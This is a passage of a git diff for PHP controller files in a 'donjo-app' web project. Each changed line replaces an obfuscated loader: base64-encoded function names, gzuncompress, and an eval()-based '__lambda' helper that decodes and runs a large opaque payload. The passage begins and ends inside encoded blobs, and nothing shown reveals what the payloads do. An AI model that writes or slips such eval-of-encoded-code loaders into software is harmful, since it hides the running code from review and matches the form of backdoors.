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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Koneksi_database.php b/donjo-app/controllers/Koneksi_database.php index 233dfda78..63e5b1a10 100644 --- a/donjo-app/controllers/Koneksi_database.php +++ b/donjo-app/controllers/Koneksi_database.php @@ -272,7 +272,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Pengaduan_admin.php b/donjo-app/controllers/Pengaduan_admin.php index 556420b48..ad783ecd5 100644 --- a/donjo-app/controllers/Pengaduan_admin.php +++ b/donjo-app/controllers/Pengaduan_admin.php @@ -268,7 +268,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW9tym9gSfU/V+Yc8TJVnKudkAFmZqFJ5ELJAYF0MiOtLCtg2yEKIGN3Q15/VINmSb7Hj1Jw6U2yPRhawd/devXp1byV5/74av33D+HqS3UzSxdXJl/Ljbnw9YfP0ev4fP8v+DOfp4maeJJc3+Z8Xl2nks6WffvPZbJJ+zOLsfSfx8/zjx48nX97tFn7/r3f1T/3zo593xLj3v3B8fXDlxOFbuWvzE0/ufj0pL92x9EVjlxVf39ejHvWoxz9znIQzi2OOulRkS3Dt9VyVWldOMf2rEk2oZiXX32qo6lGPetSjHvWoRz3qUY//t1F/nVGPetSjHv/ccRL4+eWn02/sMpyzy5MvNSL1qEc96lGPerxpHP9ViTNtPuxMPn/He3QecedKZx7psyT3DDELZtPInUmpb0tLRdbjcDb9dPjcuCEmQTJU9Xb5Geu0vyvSMAsbehKU871VOOPjUJhGnmxtXUPcMvrzbEeJmGwVbmrd4BofpDrvF+LCs/nYp2v2afW8drBuV1oHcnLjOsOMfAkm4jZoYA3BjFyhNd3768lJ4dubLCxE2FGneB5+L+j53HeGSZBifpdp445oD9aH68cxfDjzHZFzjXYxOGs3lQ4XDa7bm6EhngUCP/HtZqJIahIKLT6cDROlmyyx14z1LM63W0ulE89ZT1+PJp9XQc9aYH9LT1isAsda+g7wK5pLz9FW59W+IkOWbpQu8OrpsXKmrAdjN+qXtpWtIokJ/OYDB/jIwL+rw2430uUkpbWCjmhifxNmL+K93XA7X/WF1tqzm1MP++7Pkun5EYaIy4wRFnusCKPMFyi+ySffPs2V3jBxBalAXNJwJnG+M8gVeZGEsjSl+IELa7yvGWJ0CV54ZdyawFmMmVzivHWBfzCTliVXJiLuqZnSo/1IhEfMOmLO7CbhvfOD7HtZIJv4vXUDjiBOeskb4gn8y1inPVemBxwA9r6hZP3OLX+miB1sbGK/UXKo2jOwDVIxVmQV/knwjfYILImXeE6Ry7gfcLCZeg1r6dq0l3UU2NYS+8xLbGSe8OORE/OKgy1ak6+u68R7cE/lQyEh+/lu/9iHRDZ5PEM21q6NePeGTeBCWFQxaFjcKDrMI+SWDa7NEs61Y55ywie+yDu+yDryQOJcZ1Dh13vkeSfL9rHG3IKVzyZb2OOq/SE29iYOdnwMBeKxtIZvMXBe0houuMYMceLaLKPPoWwtGe4h7mIob4g7W98QVdgAR9W4jHFxy5OmCzx3uM3BER55eYAZm/tkf8YO4vXIPuxmVj4vE39Y